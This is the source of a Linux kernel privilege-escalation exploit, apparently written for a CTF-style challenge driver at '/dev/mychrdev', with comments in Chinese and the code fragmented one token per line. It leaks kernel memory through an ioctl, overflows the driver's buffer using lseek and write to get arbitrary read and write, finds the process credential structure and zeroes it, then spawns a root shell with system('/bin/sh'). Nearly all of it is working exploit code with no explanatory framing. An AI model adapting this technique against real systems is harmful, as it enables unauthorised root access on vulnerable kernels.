size_t user_cs, user_ss, user_rflags, user_sp;
/
/
保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
int
main(){
int
fd;
size_t buf[
0x10
]
=
{
0
};
size_t buf2[
8192
+
2
]
=
{
0
};
size_t store
=
0
;
buf2[
8192
]
=
0xffffffffffffffff
;
size_t buf3[
0x10
]
=
{
0
};
buf3[
0
]
=
0x6262626262626262
;
size_t buf4[
0x100
]
=
{
0
};
/
/
printf(
"addr:%p\n"
,&buf);
int
size;
fd
=
open
(
"dev/mychrdev"
,O_RDWR);
puts("");
puts(
"come to write!"
);
ioctl(fd,
0x1111
,&buf);
for
(
int
i
=
0
;i<
5
;i
+
+
){
printf(
"0x%llx\n"
,buf[i]);
}
/
/
不停的扩大 mydata
+
0x10008
的值
write(fd,buf2,
0x10000
);
lseek(fd,
-
0x10000
,SEEK_CUR);
write(fd,buf2,
0x10000
);
/
/
0x0000000000000000
0x0000000000010008
lseek(fd,
-
0x10000
,SEEK_CUR);
write(fd,buf2,
0x10000
);
lseek(fd,
-
0x10000
,SEEK_CUR);
/
/
0x30000
lseek(fd,
0x10001
,SEEK_SET);
/
/
溢出 ,写
0x6161616161616161
/
/
buf2[
0
]
=
0x0000000000000000
;
buf2[
0
]
=
-
0x6d6
;
/
/
buf2[
0
]
=
-
0x7d8
;
/
/
0x280
buf2[
1
]
=
0x111111111111
;
/
/
size_t full
=
0xffffffffffffffff
;
write(fd,buf2,
0x10
);
/
/
任意写 mydata
+
0x10000
和 mydata
+
0x10008
处的值
/
/
lseek(fd,
0
,SEEK_SET);
/
/
sleep(
1
);
read(fd,buf4,
0x98
);
/
/
sleep(
1
);
printf(
"read:0x%lx\n"
,buf4[
18
]);
/
/
爆破一个字节,读出cred结构体的位置
size_t cred_addr
=
buf4[
18
];
lseek(fd,
0x5d568
,SEEK_CUR);
size_t cred_offset
=
0
;
size_t fuck[
5
]
=
{
0
};
fuck[
0
]
=
(size_t)(cred_addr
-
0xffff88800db40000
);
fuck[
1
]
=
0x111111111111
;
write(fd,fuck,
0x10
);
lseek(fd,
-
0x80000
,SEEK_CUR);
/
/
lseek 归零,为任意写做准备
size_t fuck_cred[
0x10
]
=
{
0
};
cred_offset
=
cred_addr
-
0xffff88800dbc0000
;
puts(
"[*]fuck cred"
);
write(fd,fuck_cred,
0x28
);
/
/
任意写,fuck cred
puts(
"[*]done"
);
system(
"echo \"root shell\" && /bin/sh"
);
/
/
0xffffffffc0000000
/
/
0xffffffff81000000
/
/
.text:
0000000000000145
mov rdx, cs:mydata
/
/
mydata:
0xffff88800db40000
/
/
0xffffffffc00002a7
/
/
struct
file
:
0xffff88800daf3a00
}